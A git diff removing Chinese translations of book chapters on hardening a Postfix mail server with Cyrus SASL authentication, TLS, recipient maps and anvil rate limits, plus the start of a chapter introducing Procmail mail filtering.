auxprop 的设置即可。 在 `smtpd.conf`中设置的任何辅助道具配置都应该以以下三行开头: - -```sh -log_level: 3 -pwcheck_method: auxprop -mech_list: PLAIN LOGIN CRAM-MD5 DIGEST-MD5 - -``` - -要告诉 Cyrus SASL 您想使用哪个插件,您需要向配置中添加一个附加参数。 这个参数被称为 `auxprop_plugin`,我们将在下面几节中研究它的用法。 - -##### 配置 sasldb 插件 - -即使你没有设置 `auxprop_plugin`参数,Cyrus SASL 也会使用 auxprop 插件 `sasldb`。 `sasldb`是 SASL 自己的数据库,使用 `saslpasswd2`实用程序进行操作。 - -### 注意事项 - -这往往会激怒那些试图设置不同插件却在配置中出现错误的人。 如果 Cyrus SASL 使用默认配置而不是所需配置,那么它将失败。 当您得到一个错误消息,说 Cyrus SASL 无法定位 `sasldb`时,这可能是您的配置中的一个错误(除非您故意选择配置 `sasldb`),第一步应该是检查您的配置文件。 - -要使用 `sasldb`,首先需要创建一个 `sasldb`数据库。 使用以下命令作为根用户创建一个 `sasldb2`文件并添加一个用户。 - -```sh -# saslpasswd2 -c -u example.com username - -``` - -该命令将创建一个 `sasldb2`文件,并添加一个域为 `example.com`的用户名。 您必须特别注意添加的领域,因为它将是邮件客户机稍后必须发送的用户名的一部分。 - -### 注意事项 - -领域是 kerberos 基础设施概念的一部分。 kerberos 是一种分布式加密的身份验证协议。 通过添加一个域,您可以定义一个上下文(例如,一个域或主机),用户可以在其中做一些事情。 如果不添加域, `saslpasswd2`将默认添加服务器的主机名。 - -现在您已经创建了数据库并添加了一个用户,您需要更改 `sasldb`上的访问权限,以使 Postfix 也能够访问数据库。 只需像这样将 `postfix`组权限授予 `sasldb2`组: - -```sh -# chgrp postfix /etc/sasldb2 - -``` - -不要感到困惑,因为 `sasldb`被称为 `sasldb2`。 `sasldb`的格式在 Cyrus SASL 主要版本 2 时发生了变化。 x 出来了。 由于兼容性的原因,新的 `sasldb`文件被称为 `sasldb2`。 创建数据库之后,需要告诉 Cyrus SASL 使用它。 将 `auxprop_plugin`参数添加到 `smtpd.conf`,如下所示: - -```sh -auxprop_plugin: sasldb - -``` - -这就是您需要做的全部工作,您应该准备好开始测试(参见*测试 Cyrus SASL 身份验证*部分)。 如果出于任何原因,您需要将 `sasldb`放在与默认值不同的位置,您可以使用以下附加参数: - -```sh -sasldb_path: /path/to/sasldb2 - -``` - -##### 配置 sql 插件 - -**sql auxprop**插件是一个通用的插件,可以让你访问 MySQL, PostgreSQL 和 SQLite。 作为一个例子,我们将向您展示如何配置 sql 插件来访问 MySQL 数据库。 配置对另外两个数据库的访问基本相同,只有一个例外,我们将注意到。 - -首先,您需要创建一个数据库。 当然,这是特定于您所使用的数据库的。 连接到 MySQL 并创建一个数据库,如果你没有一个已经。 - -```sh -mysql> CREATE DATABASE `mail`; - -``` - -然后添加一个表,其中包含对用户进行 sasl 身份验证所需的所有内容。 它看起来像这样: - -```sh -CREATE TABLE `users` ( -`id` int(11) unsigned NOT NULL auto_increment, -`username` varchar(255) NOT NULL default '0', -`userrealm` varchar(255) NOT NULL default 'example.com', -`userpassword` varchar(255) NOT NULL default 't1GRateY', -`auth` tinyint(1) default '1', -PRIMARY KEY (`id`), -UNIQUE KEY `id` (`id`) -) TYPE=MyISAM COMMENT='Users'; - -``` - -这个表有用户名、用户域、用户密码的字段,还有一个额外的字段 `auth`,我们稍后将使用它来确定用户是否可以中继。 这样,我们也可以将表用于其他身份验证目的——例如,与 Apache 的 `mysql`模块一起授予对 `httpd`上特定文件夹的访问权。 - -### 提示 - -不要忘记为 `userpassword`设置一个默认值,如前面的示例所示,否则获得中继权限所需的所有操作都将发送一个有效的用户名。 - -创建了表之后,添加一个这样的用户用于测试: - -```sh -INSERT INTO `users` VALUES (1,'test','example.com','testpass',0); - -``` - -然后为 Postfix 添加一个用户来访问 MySQL 的用户数据库,如下所示: - -```sh -mysql> CONNECT mysql; -mysql> INSERT INTO user VALUES ('localhost','postfix','','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y'); -mysql> UPDATE mysql.user SET password=PASSWORD("bu0tt^v") WHERE user='postfix' AND host='localhost'; -mysql> GRANT SELECT, UPDATE ON mail.users TO 'postfix'@'localhost'; -mysql> FLUSH PRIVILEGES; - -``` - -完成 MySQL 设置后,需要将 `sql auxprop-specific`参数添加到 `smtpd.conf`中。 可用的参数有: - -* `sql_engine:`数据库类型。 您可以选择 `mysql, pgsql`或 `sqlite`。 我们在本例中使用 `mysql`。 如果选择不同的数据库,则需要适当地更改此值。 -* `sql_hostnames:`数据库服务器名称。 可以指定一个或多个 fqdn 或 IP 地址,IP 地址之间用“,”分隔。 即使您选择 `localhost`,SQL 引擎也会尝试通过套接字进行通信。 -* 告诉 Cyrus SASL 要连接的数据库的名称。 -* `sql_user:`此处设置的值必须与连接到数据库的用户名匹配。 -* `sql_passwd:`此处设置的值必须与连接到数据库的用户的密码匹配。 密码必须为明文。 -* `sql_select:`参数 `sql_select`定义了 `SELECT`语句对用户进行身份验证。 -* `sql_insert:` `sql_insert`参数定义了一个 `INSERT`语句,该语句允许 Cyrus SASL 在 SQL 数据库中创建用户。 您可以使用 `saslpasswd2`程序来完成此操作。 -* `sql_update:` `sql_update`参数定义 `UPDATE`语句,该语句允许 Cyrus SASL 修改数据库中的现有条目。 如果您选择配置此参数,则必须将其与 `sql_insert`参数结合使用。 -* `sql_usessl:`可以设置 `yes, 1, on`、 `true`,启用 SSL 通过加密连接访问 MySQL。 默认情况下此选项为 `off.` - -将所有参数放在一起的简单配置如下: - -```sh -# Global parameters -log_level: 3 -pwcheck_method: auxprop -mech_list: PLAIN LOGIN CRAM-MD5 DIGEST-MD5 -# auxiliary Plugin parameters -auxprop_plugin: sql -sql_engine: mysql -sql_hostnames: localhost -sql_database: mail -sql_user: postfix -sql_passwd: bu0tt^v -sql_select: SELECT %p FROM users WHERE username = '%u' AND userrealm = '%r' AND auth = '1' -sql_usessl: no - -``` - -如您所见,在 `sql_select`语句中使用了宏。 他们的意思是: - -* `%u:`这个宏是一个占位符,用于在身份验证期间查询的用户名。 -* 这个宏是密码的占位符。 -* `%r:` `r`代表领域,客户端给出的领域将被插入 `%r.` -* `%v:` This macro is only used in combination with the `sql_update` or `sql_insert` statement. It represents the submitted value that should replace an existing value. - - ### 提示 - - 特别注意符号。 宏必须使用单引号(')。 - -这样就完成了配置。 如果您正在使用 `auxprop`并遵循说明到此为止,那么您已经准备好开始测试,可以跳过关于 `authdaemond`的下一节。 - -#### authdaemond - -`authdaemond`专为与 Courier IMAP 合作而设计。 如果您配置 Cyrus SASL 使用 `authdaemond`,它将连接到 Courier authlib 的 `authdaemond`套接字,要求 Courier authlib 验证发送进来的邮件客户端的凭证。 一方面居鲁士 SASL 受益于各种后端快递 authlib 可以向用户验证,但另一方面居鲁士 SASL 的 `authdaemond`密码验证服务仅限于明文机制,不给你得到当你使用里程 `auxprop`插件。 【5】 - -设置 authdaemond 密码验证服务非常简单。 我们将在下面几节中研究它。 - -##### 设置 authdaemond 鉴权服务 - -您的第一步是配置 Postfix 以使用 `authdaemond`密码验证服务。 与 `saslauthd`或 `auxprop`一样,您将 `pwcheck_method`参数添加到 `smtpd.conf`中,并将其选择为 `authdaemond.` - -```sh -log_level: 3 -pwcheck_method: authdaemond -mech_list: PLAIN LOGIN - -``` - -由于 `authdaemond`的限制,您还必须将机制列表限制为 `PLAIN`和 `LOGIN`,这是惟一可用的明文机制。 - -##### 配置 authdaemond 套接字路径 - -您需要告诉 Cyrus SASL 在哪里可以找到 Courier authlib 的 `authdaemond`创建的套接字。 - -使用 `authdaemond_path`参数提供包含套接字名称的完整路径。 - -```sh -authdaemond-path: /var/spool/authdaemon/socket - -``` - -最后检查 `authdaemond`目录的权限,并验证至少用户 `postfix`可以访问该目录。 完成这些之后,就可以开始测试了。 - -# 测试 Cyrus SASL 认证 - -没有测试实用程序,但是您可以使用示例应用 `sample-server`和 `sample-client`来测试身份验证,而不需要任何其他应用(例如 Postfix)干扰测试。 如果您从源代码构建 Cyrus SASL,您可以在 Cyrus SASL 源代码的 `sample`子目录中找到它们。 基于 fedora 的 Linux 发行版包括作为 `cyrus-sasl-devel`包的一部分的示例,所以如果可用,您应该安装该包。 基于 debian 的 Linux 发行版没有类似的包,所以您现在必须自己构建它们。 - -要构建示例,请从包管理器中定位、下载并提取与您的安装相匹配的 Cyrus SASL 发行版。 要定位和安装源,请按照*Cyrus SASL 安装*部分中描述的说明进行操作。 然后不发出 `make install`命令,而是发出以下命令: - -```sh -# cd sample -# make - -``` - -我们将使用这些示例来测试在 `smtpd.conf`中创建的 Cyrus SASL 配置。 然而,这些程序并不期望在 `smtpd.conf`中找到它们的配置,而是在 `sample.conf`中找到。 我们将简单地创建一个从 `sample.conf`到 `smtpd.conf`的符号链接,以满足以下要求: - -```sh -# ln -s /usr/lib/sasl2/smtpd.conf /usr/lib/sasl2/sample.conf - -``` - -接下来,我们需要启动服务器应用,让它侦听传入的连接。 像这样启动服务器: - -```sh -$ ./server -s rcmd -p 8000 -trying 2, 1, 6 -trying 10, 1, 6 -bind: Address already in use - -``` - -不要关心消息 `bind: Address already in use`。 服务器继续运行这一事实表明,它已设法在指定的端口上侦听。 该消息是因为应用启用了 IPv6,而底层系统不支持 IPv6。 - -如果收到诸如 `./server: No such file or directory`之类的错误,请检查您是否已经从发行版安装了 `cyrus-sasl-devel`包,或者从源代码构建的版本工作正确,并且您处于正确的目录中。 - -服务器将在端口 `8000`上监听传入的连接。 接下来,打开一个新终端,使用相同的端口和机制 `PLAIN`启动客户机,并指向 `localhost`服务器实用程序应该监听的位置。 出现提示时,输入 `test, test`和 `testpass`,这是测试服务器提供的有效值。 成功的身份验证看起来像这样: - -![Testing Cyrus SASL authentication](img/8648_05_2.jpg) - -您应该能够在 `auth`日志中看到一些日志记录。 如果你要使用 `saslauthd`,在调试模式下在一个单独的终端上启动它,你将能够像这样遵循认证: - -```sh -# saslauthd -m /var/run/saslauthd -a shadow -d - -``` - -```sh -saslauthd[4547] :main : num_procs : 5 -saslauthd[4547] :main : mech_option: NULL -saslauthd[4547] :main : run_path : /var/run/saslauthd -saslauthd[4547] :main : auth_mech : shadow -saslauthd[4547] :ipc_init : using accept lock file: /var/run/saslauthd/mux.accept -saslauthd[4547] :detach_tty : master pid is: 0 -saslauthd[4547] :ipc_init : listening on socket: /var/run/saslauthd/mux -saslauthd[4547] :main : using process model -saslauthd[4548] :get_accept_lock : acquired accept lock -saslauthd[4547] :have_baby : forked child: 4548 -saslauthd[4547] :have_baby : forked child: 4549 -saslauthd[4547] :have_baby : forked child: 4550 -saslauthd[4547] :have_baby : forked child: 4551 -saslauthd[4548] :rel_accept_lock : released accept lock -saslauthd[4548] :do_auth : auth success: [user=test] [service=rcmd] [realm=] [mech=shadow] -saslauthd[4548] :do_request : response: OK - -``` - -Saslauthd [4548]:get_accept_lock:获得的接受锁 - -如果您能够成功地进行身份验证,那么继续在 Postfix 中配置 `SMTP AUTH`。 如果您的身份验证失败,请按照日志并按照前面讨论的方法迭代如何设置和配置 SASL 的说明。 - -# 配置 SMTP 身份验证 - -在 Postfix 中配置 `SMTP AUTH`非常简单,因为您已经成功地设置和配置了 Cyrus SASL。 您需要做的第一件事是检查 Postfix 是否构建为支持 SMTP 身份验证。 使用 `ldd`实用程序检查 Postfix `smtpd`守护进程是否已链接到 `libsasl:` - -```sh -# ldd /usr/libexec/postfix/smtpd | grep libsasl -libsasl2.so.2 => /usr/lib/libsasl2.so.2 (0x00002aaaabb6a000) - -``` - -如果没有得到任何输出,可能需要重新构建 Postfix。 从后缀 `README_FILES`目录中阅读 `SASL_README`,以获得关于必须在 `CCARGS`和 `AUXLIBS`语句中包含哪些内容的详细信息。 - -## 准备配置 - -在验证 Postfix 支持 `SMTP AUTH`之后,您需要验证 `smtpd`守护进程在配置 `SMTP AUTH`时没有运行 `chrooted`。 许多人花了几个小时与 `chrooted`后缀不能访问 `saslauthd`套接字之前,他们意识到原因是 `chroot`监狱。 不运行 `chrooted`的后缀 `smtpd`守护进程在 `/etc/postfix/master.cf:`的 `chroot`列中有一个 `n` - -```sh -# ================================================================== -# service type private unpriv chroot wakeup maxproc command + args -# (yes) (yes) (yes) (never) (100) -# ================================================================== -smtp inet n - n - - smtpd - -``` - -如果在您更改 `smtpd`的 `chroot`设置并转到 `main.cf`后正在运行 `chrooted`,则重新加载后缀。 - -## 启用 SMTP AUTH - -您要做的第一件事是通过添加 `smtpd_sasl_auth_enable`参数并将其设置为 `yes:`来启用 `SMTP AUTH` - -```sh -smtpd_sasl_auth_enable = yes - -``` - -这将使 Postfix 提供 `SMTP AUTH`给使用 `ESMTP`的客户端,但是在开始测试之前,您仍然需要配置一些设置。 - -## 设置安全策略 - -您必须使用 `smtpd_sasl_security_options`参数来决定 Postfix 应该提供哪些机制。 该参数接受以下一个或多个值的列表: - -* `noanonymous:`您应该始终设置此值,否则 Postfix 将为邮件客户端提供匿名身份验证。 允许匿名身份验证将使您成为一个开放的中继,不应该用于 SMTP 服务器。 -* `noplaintext:` `noplaintext`值将阻止 Postfix 提供纯文本机制 `PLAIN`和 `LOGIN`。 通常您不希望这样,因为最广泛的客户端只支持 `LOGIN`。 如果设置此选项,我们将无法对某些客户端进行身份验证。 -* `noactive:`该设置排除了容易受到主动(非字典)攻击的 SASL 机制。 -* `nodictionary:`该关键字排除所有可能被字典攻击破坏的机制。 -* `mutual_auth:`这种形式的身份验证要求服务器向客户端验证自身,反之亦然。 如果进行了设置,则只有能够执行此表单或身份验证的服务器和客户机才能进行身份验证。 这个选项几乎从未使用过。 - -`smtpd_sasl_security_options`参数的常见设置将以下行添加到 `main.cf:` - -```sh -smtpd_sasl_security_options = noanonymous - -``` - -这防止了匿名身份验证,并允许所有其他身份验证。 - -## 包括损坏的客户 - -接下来,您必须决定 Postfix 是否应该向损坏的客户提供 `SMTP AUTH`。 在 `SMTP AUTH`的上下文中,破损的客户端是指如果以 RFC 2222 要求的方式提供了身份验证,则无法识别服务器的 SMTP AUTH 能力的客户端。 相反,它们遵循 RFC 的草案,该行中有一个额外的 `=`,显示了 SMTP 通信期间的 `SMTP AUTH`能力。 在损坏的客户端中有几个版本的 Microsoft Outlook Express 和 Microsoft Outlook。 要解决这个问题,只需向 `main.cf`添加 `broken_sasl_auth_clients`参数,如下所示: - -```sh -broken_sasl_auth_clients = yes - -``` - -当 Postfix 向邮件客户端列出它的功能时,它将打印额外的 `AUTH`行。 这一行将包含额外的 `=`,而中断的客户端将注意到 `SMTP AUTH`功能。 - -最后,如果您想限制可能中继到具有相同领域的组的用户,添加 `smtpd_sasl_local_domain`参数并像这样提供领域的值: - -```sh -smtpd_sasl_local_domain = example.com - -``` - -Postfix 将把该值附加到所有通过邮件客户端发送的用户名,成功地限制中继到那些用户名中包含 `smtpd_sasl_local_domain`值的用户。 - -完成所有配置步骤后,重新加载 Postfix 以激活设置并开始测试。 作为根用户,发出命令: - -```sh -# postfix reload - -``` - -# 测试 SMTP AUTH - -在测试 SMTP 身份验证时,不要使用普通的邮件客户端,因为邮件客户端可能会带来一些问题。 相反,使用 Telnet 客户端程序并在 SMTP 通信中连接到 Postfix。 您需要以 base64 编码的形式发送测试用户的用户名和密码,因此第一步是创建这样一个字符串。 使用以下命令使用密码 `testpass:`为用户 `test`创建一个 Base64 编码的字符串 - -```sh -$ perl -MMIME::Base64 -e 'print encode_base64("test\0test\0testpass");' -dGVzdAB0ZXN0AHRlc3RwYXNz - -``` - -### 注意事项 - -注意, `\0`将用户名和密码分开,用户名必须重复两次。 这是因为 SASL 需要两个可能不同的用户名(`userid, authid`)来支持 SMTP 身份验证不使用的附加功能。 - -还要记住,如果您的用户名或密码包含 `@`或 `$`字符,则需要使用前置的 `\`对它们进行转义,否则 Perl 将解释它们,这将导致一个非功能性的 Base64 编码字符串。 - -一旦你有了 Base64 编码的字符串,使用 Telnet 程序连接到服务器上的端口 `25`,如下所示: - -```sh -$ telnet mail.example.com 25 -220 mail.example.com ESMTP Postfix -EHLO client.example.com -250-mail.example.com -250-PIPELINING -250-SIZE 10240000 -250-VRFY -250-ETRN -250-STARTTLS -250-AUTH LOGIN PLAIN DIGEST-MD5 CRAM-MD5 -250-AUTH=LOGIN PLAIN DIGEST-MD5 CRAM-MD5 -250-XVERP -250 8BITMIME -AUTH PLAIN dGVzdAB0ZXN0AHRlc3RwYXNz -235 Authentication successful -QUIT -221 Bye - -``` - -您可以看到,在前面的示例中,身份验证是成功的。 首先,邮件客户端在介绍过程中发送了一个 `EHLO`,Postfix 响应了一个功能列表。 如果像我们在示例中所做的那样将 `broken_sasl_auth_clients`参数设置为 `yes`,您还会注意到包含 `=`的附加 `AUTH`行。 - -当客户端将 `AUTH`字符串与它想要使用的机制一起发送时,身份验证就发生了,对于普通机制,还附加了 Base64 编码的字符串。 如果您的身份验证没有成功,但您能够在 SASL 测试期间进行身份验证,请查看 `main.cf`中的参数并再次检查 `master.cf`中的 `smtpd`的 `chroot`状态。 - -# 启用中继认证客户端 - -如果身份验证成功了,我们只需要告诉 Postfix 允许为那些经过身份验证的人转发消息。 这可以通过编辑 `main.cf`并将 `permit_sasl_authenticated`选项添加到 `smtpd_recipient_restrictions`的限制列表中,如下所示: - -```sh -smtpd_recipient_restrictions = -... -permit_sasl_authenticated -permit_mynetworks -reject_unauth_destination -... - -``` - -重新加载 Postfix 并开始使用真正的邮件客户机进行测试。 如果可能的话,确保它的 IP 地址不是 `mynetworks`的一部分,因为 Postfix 可能因为这个原因而被允许中继,而不是因为 `SMTP AUTH`成功。 您可能希望只在测试期间限制中继到服务器。 更改 `mynetwork_classes = host`设置,以便来自其他机器的客户端自动不再是后缀网络的一部分。 - -如果您仍然遇到 `SMTP AUTH`的问题,请查看 `saslfinger`([http://postfix.state-of-mind.de/patrick.koetter/saslfinger/](http://postfix.state-of-mind.de/patrick.koetter/saslfinger/))。 它是一个脚本,收集关于 `SMTP AUTH`配置的各种有用信息,并向您提供输出,当您在 Postfix 邮件列表中询问时,可以将这些输出附加到您的邮件中。 - -# 保护明文机制 - -我们已经注意到,使用明文机制的 `SMTP AUTH`并不是真正安全的,因为在身份验证期间发送的字符串只是经过编码而不是加密的。 这就是**传输层安全**(**TLS**)派上用场的地方,因为它可以保护编码字符串的传输不被好奇的人看到。 【5】 - -## 启用传输层安全 - -要启用 TLS,您必须生成一个密钥对和一个证书,然后更改后缀配置以识别它们。 - -生成 SSL 证书和使用 SSL 协议,需要安装 OpenSSL 包。 这将在许多情况下安装,否则使用发行版的包管理器来安装它。 - -要创建一个证书,发出以下命令(作为根): - -![Enabling Transport Layer SecuritySASL layerplaintext mechanism](img/8648_05_3.jpg) - -这将在 `/etc/postfix/certs`中创建名为 `smtpd.key`和 `smtpd.crt`的证书。 将 `smtpd_use_tls`参数添加到 `main.cf`,设置为 `yes:` - -```sh -smtpd_use_tls = yes - -``` - -然后您需要通过添加 `smtpd_tls_key_file`和 `smtpd_tls_cert_file`参数告诉 `smtpd`在哪里可以找到密钥和证书: - -```sh -smtpd_tls_key_file = /etc/postfix/certs/smtpd.key -smtpd_tls_cert_file = /etc/postfix/certs/smtpd.crt - -``` - -发送证书以证明其身份的邮件服务器还必须保存证书颁发机构的公共证书的副本。 假设你已经将它添加到你的服务器的本地 CA 根存储 `/usr/share/ssl/certs`中,使用以下参数: - -```sh -smtpd_tls_CAfile = /usr/share/ssl/certs/ca-bundle.crt - -``` - -如果 CA 证书不是都在一个文件中,而是在同一目录下的不同文件中,例如 `/usr/share/ssl/certs`,则使用以下参数: - -```sh -smtpd_tls_CApath = /usr/share/ssl/certs/ - -``` - -一旦完成了所有这些配置,就完成了基本的 TLS 配置,可以负责保护明文身份验证。 - -## 配置安全策略 - -有几种方法可以使用 TLS 保护明文身份验证。 最根本的方法是使用 `smtpd_tls_auth_only`参数并将其设置为 `yes`。 如果您使用它,则只有在邮件客户机和邮件服务器建立加密通信层之后,才会宣布 `SMTP AUTH`。 通过这样做,所有用户名/密码组合将被加密,而不容易被窃听。 - -然而,这将惩罚所有其他能够使用其他更安全机制(如共享秘密机制)的邮件客户机。 如果您希望更有选择地处理这个问题,那么应该采用以下方法,即在未加密的线路上禁用明文身份验证,但一旦建立了加密通信,就允许它。 - -首先,您需要重新配置您的 `smtpd_sasl_security_options`参数,以排除提供给邮件客户端的明文机制: - -```sh -smtpd_sasl_security_options = noanonymous, noplaintext - -``` - -然后设置额外的 `smtpd_sasl_tls_security_options`参数,控制相同的设置,但只适用于 TLS 会话: - -```sh -smtpd_sasl_tls_security_options = noanonymous - -``` - -可以看到, `smtpd_sasl_tls_security_options`参数不会排除明文机制。 这样,可以使用其他非明文机制的客户端就不必使用 TLS,而那些只能使用明文机制的客户端可以在建立加密会话后安全地使用 TLS。 - -重新加载 Postfix 之后,就可以进行测试了。 - -### 注意事项 - -不要忘记将签署服务器证书请求的证书颁发机构的证书添加到邮件客户机的 CA 根存储区,否则它至少会抱怨在提供服务器证书时无法验证服务器的身份。 - -# 字典攻击 - -字典攻击是指客户端试图向无数潜在的收件人发送邮件,这些收件人的电子邮件地址来源于字典中的单词或名称: - -```sh -anton@example.com -bertha@example.com -... -zebediah@example.com - -``` - -如果您的服务器没有有效的收件人地址列表,那么它必须接受这些邮件,不管收件人是否实际存在。 然后,需要像往常一样处理这批电子邮件(病毒检查、垃圾邮件检查、本地交付),直到在某个阶段,系统意识到收件人甚至不存在! - -然后将生成一个非交付报告并发送回发送者。 - -因此,对于每个不存在的收件人,将接受并处理一封邮件,另外将生成另一封电子邮件(反弹),并根据发送尝试进行处理。 - -如您所见,此操作过程浪费了服务器上宝贵的资源。 因为服务器正忙于发送它一开始就不应该接受的邮件,合法邮件在垃圾邮件的洪流中落后了。 垃圾邮件发送者还可以使用反弹消息来确定合法的电子邮件地址,以便进行进一步的攻击。 反弹消息还可以提示使用的 SMTP 服务器,允许它们针对特定版本中的任何已知漏洞。 - -## 接收者地图 - -Postfix 能够在接收消息之前验证收件人地址。 它可以运行本地域(在 `mydestination)`中列出)和中继域(在 `relay_domains`中列出)的检查。 - -### 正在检查本地域接收方 - -参数控制 Postfix 将保留哪些接收者为有效的本地接收者。 它的默认值如下: - -```sh -local_recipient_maps = proxy:unix:passwd.byname, $alias_maps - -``` - -使用此设置,Postfix 将检查本地 `/etc/passwd`文件,以获取接收者名称以及已分配给 `main.cf`中 `alias_maps`参数的任何映射。 添加虚拟用户超出了本书的范围,但是如果您需要扩展这个列表,您可以创建一个包含用户的数据库,并向包含其他本地收件人的地图添加路径。 - -### 正在检查中继域的接收者 - -参数控制哪些接收方对中继域有效。 默认情况下,它是空的,为了让 Postfix 获得更多的控制,您需要构建一个映射,在其中 Postfix 可以查找有效的收件人。 - -假设您的服务器向 `example.com`和 `example.com`转发邮件,那么您将创建以下配置: - -```sh -relay_domains = example.com -relay_recipient_maps = hash:/etc/postfix/relay_recipients - -``` - -参数 `relay_domain`告诉 Postfix 为 `example.com`域中的收件人转发邮件,而 `relay_recipient_maps`参数指向一个包含有效收件人的映射。 在映射中,您将创建如下列表: - -```sh -adam@example.com OK -eve@example.com OK - -``` - -然后运行 `postmap`命令创建一个像这样的索引映射: - -```sh -# postmap /etc/postfix/relay_recipients - -``` - -要获取后缀来识别新数据库,重载它: - -```sh -# postfix reload -postfix/postfix-script: refreshing the Postfix mail system - -``` - -这将只允许 `adam@example.com`和 `eve@example.com`作为域 `example.com`的接收方。 发送到 `snake@example.com`的邮件将被拒绝,并出现**中继接收表中未知用户**错误消息。 - -## 速率限制连接 - -拒绝不存在的收件人的邮件有很大的帮助,但是当您的服务器受到字典攻击时,它仍然会接受所有客户机的连接并产生适当的错误消息(或者接受邮件,如果偶然命中了有效的收件人地址)。 - -Postfix 的砧服务器维护短期统计数据,以保护您的系统免受客户端在可配置的时间内锤击您的服务器与以下任何一种情况: - -* 太多同时进行的会议 -* 连续的请求太多 - -由于您使用的硬件和软件限制了服务器在给定时间单位内能够处理的邮件数量,因此不接受超过服务器处理能力的邮件是有意义的。 - -```sh -anvil_rate_time_unit = 60s - -``` - -前一行指定用于以下所有限制的时间间隔: - -* `smtpd_client_connection_rate_limit = 40:`指定在 `anvil_rate_time_unit`指定的时间段内,客户端可以建立的连接数。 在这种情况下,是每 60 秒 40 次连接。 -* `smtpd_client_connection_count_limit = 16:`这给出了每个 `anvil_rate_time_unit`允许任何客户端连接到该服务的最大并发连接数。 -* `smtpd_client_message_rate_limit = 100:`这是一个重要的限制,因为客户端可以重用一个已建立的连接,并仅使用这个连接发送许多邮件。 -* `smtpd_client_recipient_rate_limit = 32:`这给出了每个 `anvil_rate_time_unit`允许任何客户端发送到该服务的最大接收地址数,而不管 Postfix 是否实际接收这些接收地址。 -* `smtpd_client_event_limit_exceptions = $mynetworks:`这可以用来免除某些网络或机器的速率限制。 您可能想让您的邮件列表服务器免受速率限制,因为它无疑会在短时间内向许多收件人发送大量邮件。 - -`anvil`将发出关于最大连接速率(此处: `5/60s)`、哪个客户端达到了最大速率(`212.227.51.110`)以及何时( `Dec28 13:19:23)`)的详细日志数据。 - -```sh -Dec 28 13:25:03 mail postfix/anvil[4176]: statistics: max connection rate 5/60s for (smtp:212.227.51.110) at Dec 28 13:19:23 - -``` - -这第二个日志条目显示了哪个客户端建立了最多的并发连接以及何时: - -```sh -Dec 28 13:25:03 mail postfix/anvil[4176]: statistics: max connection count 5 for (smtp:62.219.130.25) at Dec 28 13:20:19 - -``` - -如果超过了任何限制, `anvil`也会记录: - -```sh -Dec 28 11:33:24 mail postfix/smtpd[19507]: warning: Connection rate limit exceeded: 54 from pD9E83AD0.dip.t-dialin.net[217.232.58.208] for service smtp -Dec 28 12:14:17 mail postfix/smtpd[24642]: warning: Connection concurrency limit exceeded: 17 from hqm-smrly01.meti.go.jp[219.101.211.110] for service smtp - -``` - -任何超过这些限制的客户机都将被给予一个临时错误代码,从而通知它稍后重试。 合法的客户会尊重这一点并重试。 打开的代理和被木马攻击的机器很可能不会重试。 - -# 总结 - -在本章中,我们讨论了如何保护您的安装。 本文讨论了几个不同的主题,首先,Postfix 的配置为只接受来自特定 IP 地址的电子邮件,如果所有用户都是基于 office 的,这将非常有用。 接下来,本章讨论了如何使用 SASL 对可能从任何 IP 地址连接的用户进行身份验证。 然后,我们讨论了如何使用 TLS 加密客户机和服务器之间的身份验证。 最后,我们讨论了如何限制行为不良的客户机,即使用 `anvil`守护进程来限制在某段时间内连接过于频繁的客户机,以及一次打开太多连接的客户机。 - -本章中展示的措施将使您作为邮政局长的工作更加轻松,并且还有助于限制您的用户所忍受的垃圾邮件数量,如果您无意中配置了一个开放中继,那么也可以限制传递给其他 Internet 用户的垃圾邮件数量。 有关限制垃圾邮件的更多细节,请参阅第 8 章,该章描述了如何使用开源垃圾邮件过滤工具 SpamAssassin。 或者阅读第 6 章,其中介绍了如何使用 Procmail 对到达的电子邮件消息进行操作。 \ No newline at end of file diff --git a/docs/linux-email/06.md b/docs/linux-email/06.md deleted file mode 100644 index a89518b5..00000000 --- a/docs/linux-email/06.md +++ /dev/null @@ -1,788 +0,0 @@ -# 六、从 Procmail 开始 - -Procmail 是一种通用的电子邮件过滤器,通常用于在消息传递到用户的收件箱之前处理它们。 - -本章包括以下主题: - -* 简单介绍 Procmail -* Procmail 可以执行的典型过滤任务 -* 如何在服务器上安装和设置邮件过滤系统,以处理您不愿每天花时间处理的重复分类和存储任务 -* Procmail 配方中规则和操作的基本结构 -* 如何在我们的食谱中创建和测试规则 -* 最后,介绍一些用于执行过滤的示例菜谱 - -在本章结束时,您将了解过滤过程的基础知识,如何设置系统来执行过滤,以及如何对您自己的邮件执行一些非常简单但非常有用的过滤操作。 所有这些都将帮助你保持对所有你已经或即将收到的邮件。 - -# Procmail 简介 - -Procmail 是一个邮件过滤器,它在邮件到达邮件服务器之后,但在最终发送到预期收件人之前执行。 Procmail 的行为由许多用户编写的食谱(或脚本)控制。 每个菜谱可以包含许多模式匹配规则,以便至少根据收件人、主题和消息内容来选择消息。 如果规则中的匹配条件选择该消息作为候选消息,那么 recipe 可能会执行许多操作来将该消息移动到一个文件夹中,回复发送者,甚至在传递之前丢弃该消息。 与规则一样,操作是用户在配方中编写的,可以对消息执行几乎任何操作。 - -Procmail 主页位于[http://www.procmail.org。](http://www.procmail.org.) - -## 谁写的,什么时候写的 - -1.0 版是在 20 世纪 90 年代末发布的,它已经发展成为基于 unix 邮件系统的最好和最常用的邮件过滤解决方案之一。 Procmail 最初是由 Stephen R. van den Berg(`<[srb@cuci.nl](mailto:srb@cuci.nl)>`)设计和开发的。 在 1998 年秋天,意识到自己没有时间维护 Procmail, Stephen 创建了一个邮件列表,用于讨论未来的开发,并委托 Philip Guenther(`<[guenther@sendmail.com](mailto:guenther@sendmail.com)>`)作为维护人员。 - -自 2001 年 9 月发布的版本 3.22 以来,Procmail 一直很稳定,所以最近的安装都安装了这个最新的版本,这也是我们在本书中使用的版本。 - -# 过滤系统如何帮助我? - -到现在为止,您应该已经建立并运行了电子邮件系统,并发送和接收电子邮件。 您可能已经注册了许多有用的邮件列表,这些邮件间隔不同。 您还应该收到通知您系统状态的消息。 所有这些额外的、低优先级的信息很容易分散你的注意力,妨碍你读那些你需要提前阅读的重要邮件。 - -如何整理邮件取决于你自己的个人品味; 如果您非常有条理,您可能已经在电子邮件客户端中设置了一些文件夹,并在您阅读邮件后将它们移动到适当的位置。 尽管如此,您可能已经意识到,让系统将一些消息自动存储在与重要电子邮件不同的位置将非常有用。 - -在设置自动流程时,您需要考虑的是如何识别邮件项的内容。 最重要的指标是邮件发送给了谁,标题或主题行,还有发送者的详细信息。 